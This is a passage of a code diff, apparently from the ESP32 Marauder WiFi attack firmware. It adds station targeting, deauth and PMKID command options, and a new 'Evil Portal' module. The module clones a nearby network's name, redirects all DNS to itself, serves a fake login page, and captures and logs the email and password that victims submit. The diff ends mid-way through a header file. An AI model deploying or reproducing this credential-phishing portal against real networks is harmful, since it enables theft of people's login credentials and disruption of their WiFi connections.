Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
|
||||
if (access_points->get(i).selected) {
|
||||
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi + " (selected)");
|
||||
count_selected += 1;
|
||||
}
|
||||
else
|
||||
Serial.println("[" + (String)i + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
|
||||
Serial.println("[" + (String)i + "][CH:" + (String)access_points->get(i).channel + "] " + access_points->get(i).essid + " " + (String)access_points->get(i).rssi);
|
||||
}
|
||||
this->showCounts(count_selected);
|
||||
}
|
||||
// List SSIDs
|
||||
else if (ss_sw != -1) {
|
||||
for (int i = 0; i < ssids->size(); i++) {
|
||||
if (ssids->get(i).selected)
|
||||
if (ssids->get(i).selected) {
|
||||
Serial.println("[" + (String)i + "] " + ssids->get(i).essid + " (selected)");
|
||||
count_selected += 1;
|
||||
}
|
||||
else
|
||||
Serial.println("[" + (String)i + "] " + ssids->get(i).essid);
|
||||
}
|
||||
this->showCounts(count_selected);
|
||||
}
|
||||
// List Stations
|
||||
else if (cl_sw != -1) {
|
||||
char sta_mac[] = "00:00:00:00:00:00";
|
||||
for (int x = 0; x < access_points->size(); x++) {
|
||||
Serial.println("[" + (String)x + "] " + access_points->get(x).essid + " " + (String)access_points->get(x).rssi + ":");
|
||||
for (int i = 0; i < access_points->get(x).stations->size(); i++) {
|
||||
wifi_scan_obj.getMAC(sta_mac, stations->get(access_points->get(x).stations->get(i)).mac, 0);
|
||||
if (stations->get(access_points->get(x).stations->get(i)).selected) {
|
||||
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
|
||||
Serial.print(sta_mac);
|
||||
Serial.println(" (selected)");
|
||||
count_selected += 1;
|
||||
}
|
||||
else {
|
||||
Serial.print(" [" + (String)access_points->get(x).stations->get(i) + "] ");
|
||||
Serial.println(sta_mac);
|
||||
}
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected);
|
||||
}
|
||||
else {
|
||||
Serial.println("You did not specify which list to show");
|
||||
@@ -525,51 +809,118 @@ void CommandLine::runCommand(String input) {
|
||||
// Get switches
|
||||
int ap_sw = this->argSearch(&cmd_args, "-a");
|
||||
int ss_sw = this->argSearch(&cmd_args, "-s");
|
||||
int cl_sw = this->argSearch(&cmd_args, "-c");
|
||||
int filter_sw = this->argSearch(&cmd_args, "-f");
|
||||
|
||||
count_selected = 0;
|
||||
int count_unselected = 0;
|
||||
// select Access points
|
||||
if (ap_sw != -1) {
|
||||
// Get list of indices
|
||||
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
|
||||
|
||||
// Select ALL APs
|
||||
if (cmd_args.get(ap_sw + 1) == "all") {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
// If the filters parameter was specified
|
||||
if (filter_sw != -1) {
|
||||
String filter_ap = cmd_args.get(filter_sw + 1);
|
||||
this->filterAccessPoints(filter_ap);
|
||||
} else {
|
||||
// Get list of indices
|
||||
LinkedList<String> ap_index = this->parseCommand(cmd_args.get(ap_sw + 1), ",");
|
||||
|
||||
// Select ALL APs
|
||||
if (cmd_args.get(ap_sw + 1) == "all") {
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = false;
|
||||
access_points->set(i, new_ap);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = true;
|
||||
access_points->set(i, new_ap);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
// Select specific APs
|
||||
else {
|
||||
// Mark APs as selected
|
||||
for (int i = 0; i < ap_index.size(); i++) {
|
||||
int index = ap_index.get(i).toInt();
|
||||
if (!this->inRange(access_points->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
continue;
|
||||
}
|
||||
if (access_points->get(index).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = false;
|
||||
access_points->set(index, new_ap);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = true;
|
||||
access_points->set(index, new_ap);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
}
|
||||
}
|
||||
else if (cl_sw != -1) {
|
||||
LinkedList<String> sta_index = this->parseCommand(cmd_args.get(cl_sw + 1), ",");
|
||||
|
||||
// Select all Stations
|
||||
if (cmd_args.get(cl_sw + 1) == "all") {
|
||||
for (int i = 0; i < stations->size(); i++) {
|
||||
if (stations->get(i).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = false;
|
||||
access_points->set(i, new_ap);
|
||||
Station new_sta = stations->get(i);
|
||||
new_sta.selected = false;
|
||||
stations->set(i, new_sta);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(i);
|
||||
new_ap.selected = true;
|
||||
access_points->set(i, new_ap);
|
||||
Station new_sta = stations->get(i);
|
||||
new_sta.selected = true;
|
||||
stations->set(i, new_sta);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
// Select specific APs
|
||||
// Select specific Stations
|
||||
else {
|
||||
// Mark APs as selected
|
||||
for (int i = 0; i < ap_index.size(); i++) {
|
||||
int index = ap_index.get(i).toInt();
|
||||
if (!this->inRange(access_points->size(), index)) {
|
||||
// Mark Stations as selected
|
||||
for (int i = 0; i < sta_index.size(); i++) {
|
||||
int index = sta_index.get(i).toInt();
|
||||
if (!this->inRange(stations->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
continue;
|
||||
}
|
||||
if (access_points->get(index).selected) {
|
||||
if (stations->get(index).selected) {
|
||||
// Unselect "selected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = false;
|
||||
access_points->set(index, new_ap);
|
||||
Station new_sta = stations->get(index);
|
||||
new_sta.selected = false;
|
||||
stations->set(index, new_sta);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
AccessPoint new_ap = access_points->get(index);
|
||||
new_ap.selected = true;
|
||||
access_points->set(index, new_ap);
|
||||
Station new_sta = stations->get(index);
|
||||
new_sta.selected = true;
|
||||
stations->set(index, new_sta);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
}
|
||||
// select ssids
|
||||
@@ -589,14 +940,17 @@ void CommandLine::runCommand(String input) {
|
||||
ssid new_ssid = ssids->get(index);
|
||||
new_ssid.selected = false;
|
||||
ssids->set(index, new_ssid);
|
||||
count_unselected += 1;
|
||||
}
|
||||
else {
|
||||
// Select "unselected" ap
|
||||
ssid new_ssid = ssids->get(index);
|
||||
new_ssid.selected = true;
|
||||
ssids->set(index, new_ssid);
|
||||
count_selected += 1;
|
||||
}
|
||||
}
|
||||
this->showCounts(count_selected, count_unselected);
|
||||
}
|
||||
else {
|
||||
Serial.println("You did not specify which list to select from");
|
||||
@@ -640,4 +994,41 @@ void CommandLine::runCommand(String input) {
|
||||
return;
|
||||
}
|
||||
}
|
||||
// Join WiFi
|
||||
else if (cmd_args.get(0) == JOINWIFI_CMD) {
|
||||
int n_sw = this->argSearch(&cmd_args, "-n"); // name
|
||||
int a_sw = this->argSearch(&cmd_args, "-a"); // access point
|
||||
int s_sw = this->argSearch(&cmd_args, "-s"); // ssid
|
||||
int p_sw = this->argSearch(&cmd_args, "-p");
|
||||
|
||||
String essid = "";
|
||||
String pwx = "";
|
||||
|
||||
if (s_sw != -1) {
|
||||
int index = cmd_args.get(s_sw + 1).toInt();
|
||||
if (!this->inRange(ssids->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
return;
|
||||
}
|
||||
essid = ssids->get(index).essid;
|
||||
} else if (a_sw != -1) {
|
||||
int index = cmd_args.get(a_sw + 1).toInt();
|
||||
if (!this->inRange(access_points->size(), index)) {
|
||||
Serial.println("Index not in range: " + (String)index);
|
||||
return;
|
||||
}
|
||||
essid = access_points->get(index).essid;
|
||||
} else if (n_sw != -1) {
|
||||
essid = cmd_args.get(n_sw + 1);
|
||||
} else {
|
||||
Serial.println("You must specify an access point or ssid");
|
||||
return;
|
||||
}
|
||||
|
||||
if (p_sw != -1) {
|
||||
pwx = cmd_args.get(p_sw + 1);
|
||||
}
|
||||
Serial.println("Attempting to join WiFi with ssid " + (String)essid);
|
||||
wifi_scan_obj.joinWiFi(essid, pwx);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -9,9 +9,12 @@
|
||||
#endif
|
||||
|
||||
#include "WiFiScan.h"
|
||||
#include "Web.h"
|
||||
#include "SDInterface.h"
|
||||
//#include "Web.h"
|
||||
#ifdef HAS_SD
|
||||
#include "SDInterface.h"
|
||||
#endif
|
||||
#include "settings.h"
|
||||
#include "LedInterface.h"
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
extern MenuFunctions menu_function_obj;
|
||||
@@ -19,12 +22,17 @@
|
||||
#endif
|
||||
|
||||
extern WiFiScan wifi_scan_obj;
|
||||
extern Web web_obj;
|
||||
extern SDInterface sd_obj;
|
||||
//extern Web web_obj;
|
||||
#ifdef HAS_SD
|
||||
extern SDInterface sd_obj;
|
||||
#endif
|
||||
extern Settings settings_obj;
|
||||
extern LedInterface led_obj;
|
||||
extern LinkedList<AccessPoint>* access_points;
|
||||
extern LinkedList<ssid>* ssids;
|
||||
extern LinkedList<Station>* stations;
|
||||
extern const String PROGMEM version_number;
|
||||
extern const String PROGMEM board_target;
|
||||
|
||||
//// Commands
|
||||
|
||||
@@ -35,9 +43,14 @@ const char PROGMEM REBOOT_CMD[] = "reboot";
|
||||
const char PROGMEM UPDATE_CMD[] = "update";
|
||||
const char PROGMEM HELP_CMD[] = "help";
|
||||
const char PROGMEM SETTINGS_CMD[] = "settings";
|
||||
const char PROGMEM LS_CMD[] = "ls";
|
||||
const char PROGMEM LED_CMD[] = "led";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM EVIL_PORTAL_CMD[] = "evilportal";
|
||||
const char PROGMEM SIGSTREN_CMD[] = "sigmon";
|
||||
const char PROGMEM SCANAP_CMD[] = "scanap";
|
||||
const char PROGMEM SCANSTA_CMD[] = "scansta";
|
||||
const char PROGMEM SNIFF_RAW_CMD[] = "sniffraw";
|
||||
const char PROGMEM SNIFF_BEACON_CMD[] = "sniffbeacon";
|
||||
const char PROGMEM SNIFF_PROBE_CMD[] = "sniffprobe";
|
||||
@@ -58,6 +71,7 @@ const char PROGMEM ATTACK_TYPE_RR[] = "rickroll";
|
||||
const char PROGMEM LIST_AP_CMD[] = "list";
|
||||
const char PROGMEM SEL_CMD[] = "select";
|
||||
const char PROGMEM SSID_CMD[] = "ssid";
|
||||
const char PROGMEM JOINWIFI_CMD[] = "join";
|
||||
|
||||
// Bluetooth sniff/scan
|
||||
const char PROGMEM BT_SNIFF_CMD[] = "sniffbt";
|
||||
@@ -68,32 +82,36 @@ const char PROGMEM BT_SKIM_CMD[] = "sniffskim";
|
||||
// Admin
|
||||
const char PROGMEM HELP_HEAD[] = "============ Commands ============";
|
||||
const char PROGMEM HELP_CH_CMD[] = "channel [-s <channel>]";
|
||||
const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a";
|
||||
const char PROGMEM HELP_CLEARAP_CMD_B[] = "clearlist -s";
|
||||
const char PROGMEM HELP_CLEARAP_CMD_A[] = "clearlist -a/-c/-s";
|
||||
const char PROGMEM HELP_REBOOT_CMD[] = "reboot";
|
||||
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s";
|
||||
const char PROGMEM HELP_UPDATE_CMD_B[] = "update -w";
|
||||
const char PROGMEM HELP_UPDATE_CMD_A[] = "update -s/-w";
|
||||
const char PROGMEM HELP_SETTINGS_CMD[] = "settings [-s <setting> enable/disable>]/[-r]";
|
||||
const char PROGMEM HELP_LS_CMD[] = "ls <directory>";
|
||||
const char PROGMEM HELP_LED_CMD[] = "led -s <hex color>/-p <rainbow>";
|
||||
|
||||
// WiFi sniff/scan
|
||||
const char PROGMEM HELP_EVIL_PORTAL_CMD[] = "evilportal [-c start]";
|
||||
const char PROGMEM HELP_SIGSTREN_CMD[] = "sigmon";
|
||||
const char PROGMEM HELP_SCANAP_CMD[] = "scanap";
|
||||
const char PROGMEM HELP_SCANSTA_CMD[] = "scansta";
|
||||
const char PROGMEM HELP_SNIFF_RAW_CMD[] = "sniffraw";
|
||||
const char PROGMEM HELP_SNIFF_BEACON_CMD[] = "sniffbeacon";
|
||||
const char PROGMEM HELP_SNIFF_PROBE_CMD[] = "sniffprobe";
|
||||
const char PROGMEM HELP_SNIFF_PWN_CMD[] = "sniffpwn";
|
||||
const char PROGMEM HELP_SNIFF_ESP_CMD[] = "sniffesp";
|
||||
const char PROGMEM HELP_SNIFF_DEAUTH_CMD[] = "sniffdeauth";
|
||||
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>]";
|
||||
const char PROGMEM HELP_SNIFF_PMKID_CMD[] = "sniffpmkid [-c <channel>][-d][-l]";
|
||||
const char PROGMEM HELP_STOPSCAN_CMD[] = "stopscan";
|
||||
const char PROGMEM HELP_JOIN_WIFI_CMD[] = "join [-n <ssid_name>/-s <ssid_index>/-a <access_point_index>] -p <password>";
|
||||
|
||||
// WiFi attack
|
||||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-s <src mac>] [-d <dst mac>]/probe/rickroll>";
|
||||
const char PROGMEM HELP_ATTACK_CMD[] = "attack -t <beacon [-l/-r/-a]/deauth [-c]/[-s <src mac>] [-d <dst mac>]/probe/rickroll>";
|
||||
|
||||
// WiFi Aux
|
||||
const char PROGMEM HELP_LIST_AP_CMD_A[] = "list -s";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_B[] = "list -a";
|
||||
const char PROGMEM HELP_SEL_CMD_A[] = "select -a <index (comma separated)>";
|
||||
const char PROGMEM HELP_SEL_CMD_B[] = "select -s <index (comma separated)>";
|
||||
const char PROGMEM HELP_LIST_AP_CMD_C[] = "list -c";
|
||||
const char PROGMEM HELP_SEL_CMD_A[] = "select -a/-s/-c <index (comma separated)>/-f \"equals <String> or contains <String>\"";
|
||||
const char PROGMEM HELP_SSID_CMD_A[] = "ssid -a [-g <count>/-n <name>]";
|
||||
const char PROGMEM HELP_SSID_CMD_B[] = "ssid -r <index>";
|
||||
|
||||
@@ -107,11 +125,14 @@ class CommandLine {
|
||||
private:
|
||||
String getSerialInput();
|
||||
LinkedList<String> parseCommand(String input, char* delim);
|
||||
String toLowerCase(String str);
|
||||
void filterAccessPoints(String filter);
|
||||
void runCommand(String input);
|
||||
bool checkValueExists(LinkedList<String>* cmd_args_list, int index);
|
||||
bool inRange(int max, int index);
|
||||
bool apSelected();
|
||||
bool hasSSIDs();
|
||||
void showCounts(int selected, int unselected = -1);
|
||||
int argSearch(LinkedList<String>* cmd_args, String key);
|
||||
|
||||
const char* ascii_art =
|
||||
|
||||
@@ -20,11 +20,17 @@ void Display::RunSetup()
|
||||
#endif
|
||||
|
||||
tft.init();
|
||||
tft.setRotation(0); // Portrait
|
||||
#ifndef MARAUDER_M5STICKC
|
||||
tft.setRotation(0); // Portrait
|
||||
#endif
|
||||
|
||||
#ifdef MARAUDER_M5STICKC
|
||||
tft.setRotation(3);
|
||||
#endif
|
||||
|
||||
tft.setCursor(0, 0);
|
||||
|
||||
#ifndef MARAUDER_MINI
|
||||
#ifdef HAS_ILI9341
|
||||
|
||||
#ifdef TFT_SHIELD
|
||||
uint16_t calData[5] = { 275, 3494, 361, 3528, 4 }; // tft.setRotation(0); // Portrait with TFT Shield
|
||||
@@ -380,7 +386,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
|
||||
//Serial.println(" tfa: " + (String)tfa);
|
||||
//Serial.println(" bfa: " + (String)bfa);
|
||||
//Serial.println("yStart: " + (String)this->yStart);
|
||||
#ifndef MARAUDER_MINI
|
||||
#ifdef HAS_ILI9341
|
||||
tft.writecommand(ILI9341_VSCRDEF); // Vertical scroll definition
|
||||
tft.writedata(tfa >> 8); // Top Fixed Area line count
|
||||
tft.writedata(tfa);
|
||||
@@ -393,7 +399,7 @@ void Display::setupScrollArea(uint16_t tfa, uint16_t bfa) {
|
||||
|
||||
|
||||
void Display::scrollAddress(uint16_t vsp) {
|
||||
#ifndef MARAUDER_MINI
|
||||
#ifdef HAS_ILI9341
|
||||
tft.writecommand(ILI9341_VSCRSADD); // Vertical scrolling pointer
|
||||
tft.writedata(vsp>>8);
|
||||
tft.writedata(vsp);
|
||||
|
||||
307
esp32_marauder/EvilPortal.cpp
Normal file
307
esp32_marauder/EvilPortal.cpp
Normal file
@@ -0,0 +1,307 @@
|
||||
#include "EvilPortal.h"
|
||||
|
||||
AsyncWebServer server(80);
|
||||
|
||||
EvilPortal::EvilPortal() {
|
||||
this->runServer = false;
|
||||
this->name_received = false;
|
||||
this->password_received = false;
|
||||
this->has_html = false;
|
||||
this->has_ap = false;
|
||||
}
|
||||
|
||||
bool EvilPortal::begin(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
||||
if (!this->setAP(ssids, access_points))
|
||||
return false;
|
||||
if (!this->setHtml())
|
||||
return false;
|
||||
|
||||
startPortal();
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
String EvilPortal::get_user_name() {
|
||||
return this->user_name;
|
||||
}
|
||||
|
||||
String EvilPortal::get_password() {
|
||||
return this->password;
|
||||
}
|
||||
|
||||
void EvilPortal::setupServer() {
|
||||
server.on("/", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
||||
request->send_P(200, "text/html", index_html);
|
||||
Serial.println("client connected");
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Client connected to server");
|
||||
#endif
|
||||
});
|
||||
|
||||
server.on("/get", HTTP_GET, [this](AsyncWebServerRequest *request) {
|
||||
String inputMessage;
|
||||
String inputParam;
|
||||
|
||||
if (request->hasParam("email")) {
|
||||
inputMessage = request->getParam("email")->value();
|
||||
inputParam = "email";
|
||||
this->user_name = inputMessage;
|
||||
this->name_received = true;
|
||||
}
|
||||
|
||||
if (request->hasParam("password")) {
|
||||
inputMessage = request->getParam("password")->value();
|
||||
inputParam = "password";
|
||||
this->password = inputMessage;
|
||||
this->password_received = true;
|
||||
}
|
||||
request->send(
|
||||
200, "text/html",
|
||||
"<html><head><script>setTimeout(() => { window.location.href ='/' }, 100);</script></head><body></body></html>");
|
||||
});
|
||||
Serial.println("web server up");
|
||||
}
|
||||
|
||||
bool EvilPortal::setHtml() {
|
||||
Serial.println("Setting HTML...");
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
File html_file = sd_obj.getFile("/index.html");
|
||||
if (!html_file) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Could not find /index.html.");
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("Could not find /index.html. Use stopscan...");
|
||||
return false;
|
||||
}
|
||||
else {
|
||||
if (html_file.size() > MAX_HTML_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given HTML is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_HTML_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The provided HTML is too large. Byte limit is " + (String)MAX_HTML_SIZE + "\nUse stopscan...");
|
||||
return false;
|
||||
}
|
||||
String html = "";
|
||||
while (html_file.available()) {
|
||||
char c = html_file.read();
|
||||
if (isPrintable(c))
|
||||
html.concat(c);
|
||||
}
|
||||
strncpy(index_html, html.c_str(), strlen(html.c_str()));
|
||||
this->has_html = true;
|
||||
Serial.println("html set");
|
||||
html_file.close();
|
||||
return true;
|
||||
}
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
|
||||
}
|
||||
|
||||
bool EvilPortal::setAP(LinkedList<ssid>* ssids, LinkedList<AccessPoint>* access_points) {
|
||||
// See if there are selected APs first
|
||||
String ap_config = "";
|
||||
String temp_ap_name = "";
|
||||
for (int i = 0; i < access_points->size(); i++) {
|
||||
if (access_points->get(i).selected) {
|
||||
temp_ap_name = access_points->get(i).essid;
|
||||
break;
|
||||
}
|
||||
}
|
||||
// If there are no SSIDs and there are no APs selected, pull from file
|
||||
// This means the file is last resort
|
||||
if ((ssids->size() <= 0) && (temp_ap_name == "")) {
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
File ap_config_file = sd_obj.getFile("/ap.config.txt");
|
||||
// Could not open config file. return false
|
||||
if (!ap_config_file) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Could not find /ap.config.txt.");
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("Could not find /ap.config.txt. Use stopscan...");
|
||||
return false;
|
||||
}
|
||||
// Config file good. Proceed
|
||||
else {
|
||||
// ap name too long. return false
|
||||
if (ap_config_file.size() > MAX_AP_NAME_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given AP name is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
||||
return false;
|
||||
}
|
||||
// AP name length good. Read from file into var
|
||||
while (ap_config_file.available()) {
|
||||
char c = ap_config_file.read();
|
||||
Serial.print(c);
|
||||
if (isPrintable(c)) {
|
||||
ap_config.concat(c);
|
||||
}
|
||||
}
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP name from config file");
|
||||
this->sendToDisplay("AP name: " + ap_config);
|
||||
#endif
|
||||
Serial.println("AP name from config file: " + ap_config);
|
||||
ap_config_file.close();
|
||||
}
|
||||
#else
|
||||
return false;
|
||||
#endif
|
||||
}
|
||||
// There are SSIDs in the list but there could also be an AP selected
|
||||
// Priority is SSID list before AP selected and config file
|
||||
else if (ssids->size() > 0) {
|
||||
ap_config = ssids->get(0).essid;
|
||||
if (ap_config.length() > MAX_AP_NAME_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given AP name is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The provided AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
||||
return false;
|
||||
}
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP name from SSID list");
|
||||
this->sendToDisplay("AP name: " + ap_config);
|
||||
#endif
|
||||
Serial.println("AP name from SSID list: " + ap_config);
|
||||
}
|
||||
else if (temp_ap_name != "") {
|
||||
if (temp_ap_name.length() > MAX_AP_NAME_SIZE) {
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("The given AP name is too large.");
|
||||
this->sendToDisplay("The Byte limit is " + (String)MAX_AP_NAME_SIZE);
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
Serial.println("The given AP name is too large. Byte limit is " + (String)MAX_AP_NAME_SIZE + "\nUse stopscan...");
|
||||
}
|
||||
else {
|
||||
ap_config = temp_ap_name;
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP name from AP list");
|
||||
this->sendToDisplay("AP name: " + ap_config);
|
||||
#endif
|
||||
Serial.println("AP name from AP list: " + ap_config);
|
||||
}
|
||||
}
|
||||
else {
|
||||
Serial.println("Could not configure Access Point. Use stopscan...");
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Could not configure Access Point.");
|
||||
this->sendToDisplay("Touch to exit...");
|
||||
#endif
|
||||
}
|
||||
|
||||
if (ap_config != "") {
|
||||
strncpy(apName, ap_config.c_str(), strlen(ap_config.c_str()));
|
||||
this->has_ap = true;
|
||||
Serial.println("ap config set");
|
||||
return true;
|
||||
}
|
||||
else
|
||||
return false;
|
||||
|
||||
}
|
||||
|
||||
void EvilPortal::startAP() {
|
||||
Serial.print("starting ap ");
|
||||
Serial.println(apName);
|
||||
|
||||
WiFi.mode(WIFI_AP);
|
||||
WiFi.softAP(apName);
|
||||
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("AP started");
|
||||
#endif
|
||||
|
||||
Serial.print("ap ip address: ");
|
||||
Serial.println(WiFi.softAPIP());
|
||||
|
||||
this->setupServer();
|
||||
|
||||
this->dnsServer.start(53, "*", WiFi.softAPIP());
|
||||
server.addHandler(new CaptiveRequestHandler()).setFilter(ON_AP_FILTER);
|
||||
server.begin();
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay("Evil Portal READY");
|
||||
#endif
|
||||
}
|
||||
|
||||
void EvilPortal::startPortal() {
|
||||
// wait for flipper input to get config index
|
||||
this->startAP();
|
||||
|
||||
this->runServer = true;
|
||||
}
|
||||
|
||||
void EvilPortal::convertStringToUint8Array(const String& str, uint8_t*& buf, uint32_t& len) {
|
||||
len = str.length(); // Obtain the length of the string
|
||||
|
||||
buf = new uint8_t[len]; // Dynamically allocate the buffer
|
||||
|
||||
// Copy each character from the string to the buffer
|
||||
for (uint32_t i = 0; i < len; i++) {
|
||||
buf[i] = static_cast<uint8_t>(str.charAt(i));
|
||||
}
|
||||
}
|
||||
|
||||
void EvilPortal::addLog(String log, int len) {
|
||||
bool save_packet = settings_obj.loadSetting<bool>(text_table4[7]);
|
||||
if (save_packet) {
|
||||
uint8_t* logBuffer = nullptr;
|
||||
uint32_t logLength = 0;
|
||||
this->convertStringToUint8Array(log, logBuffer, logLength);
|
||||
|
||||
#ifdef WRITE_PACKETS_SERIAL
|
||||
buffer_obj.addPacket(logBuffer, logLength, true);
|
||||
#elif defined(HAS_SD)
|
||||
sd_obj.addPacket(logBuffer, logLength, true);
|
||||
#else
|
||||
return;
|
||||
#endif
|
||||
}
|
||||
}
|
||||
|
||||
void EvilPortal::sendToDisplay(String msg) {
|
||||
#ifdef HAS_SCREEN
|
||||
String display_string = "";
|
||||
display_string.concat(msg);
|
||||
int temp_len = display_string.length();
|
||||
for (int i = 0; i < 40 - temp_len; i++)
|
||||
{
|
||||
display_string.concat(" ");
|
||||
}
|
||||
display_obj.loading = true;
|
||||
display_obj.display_buffer->add(display_string);
|
||||
display_obj.loading = false;
|
||||
#endif
|
||||
}
|
||||
|
||||
void EvilPortal::main(uint8_t scan_mode) {
|
||||
if ((scan_mode == WIFI_SCAN_EVIL_PORTAL) && (this->has_ap) && (this->has_html)){
|
||||
this->dnsServer.processNextRequest();
|
||||
if (this->name_received && this->password_received) {
|
||||
this->name_received = false;
|
||||
this->password_received = false;
|
||||
String logValue1 =
|
||||
"u: " + this->user_name;
|
||||
String logValue2 = "p: " + this->password;
|
||||
String full_string = logValue1 + " " + logValue2 + "\n";
|
||||
Serial.print(full_string);
|
||||
this->addLog(full_string, full_string.length());
|
||||
#ifdef HAS_SCREEN
|
||||
this->sendToDisplay(full_string);
|
||||
#endif
|
||||
}
|
||||
}
|
||||
}
|
||||
110
esp32_marauder/EvilPortal.h
Normal file
110
esp32_marauder/EvilPortal.h
Normal file
@@ -0,0 +1,110 @@
|
||||
#ifndef EvilPortal_h
|
||||
#define EvilPortal_h
|
||||
|
||||
#include "ESPAsyncWebServer.h"
|
||||
#include <AsyncTCP.h>
|
||||
#include <DNSServer.h>
|
||||
|
||||
#include "configs.h"
|
||||
#include "settings.h"
|
||||
#ifdef HAS_SCREEN
|
||||
#include "Display.h"
|
||||
#include <LinkedList.h>
|
||||
#endif
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
#include "SDInterface.h"
|
||||
#else
|
||||
#include "Buffer.h"
|
||||
#endif
|
||||
#include "lang_var.h"
|
||||
|
||||
extern Settings settings_obj;
|
||||
#ifndef WRITE_PACKETS_SERIAL
|
||||
extern SDInterface sd_obj;
|
||||
#endif
|
||||
#ifdef HAS_SCREEN
|
||||
extern Display display_obj;
|
||||
#endif
|
||||
extern Buffer buffer_obj;
|
||||
|
||||
#define WAITING 0
|
||||
#define GOOD 1
|
||||
#define BAD 2
|
||||
|
||||
#define SET_HTML_CMD "sethtml="
|
||||
#define SET_AP_CMD "setap="
|
||||
#define RESET_CMD "reset"
|
||||
#define START_CMD "start"
|
||||
#define ACK_CMD "ack"
|
||||
#define MAX_AP_NAME_SIZE 30
|
||||
#define WIFI_SCAN_EVIL_PORTAL 30
|
||||
|
||||
char apName[MAX_AP_NAME_SIZE] = "PORTAL";
|
||||
char index_html[MAX_HTML_SIZE] = "TEST";
|
||||
|
||||
struct ssid {
|
||||
String essid;
|
||||
uint8_t channel;
|
||||
int bssid[6];
|
||||
bool selected;
|
||||
};
|
||||
|
||||
struct AccessPoint {
|
||||
String essid;
|
||||
int channel;
|
||||
int bssid[6];
|
||||
bool selected;
|
||||
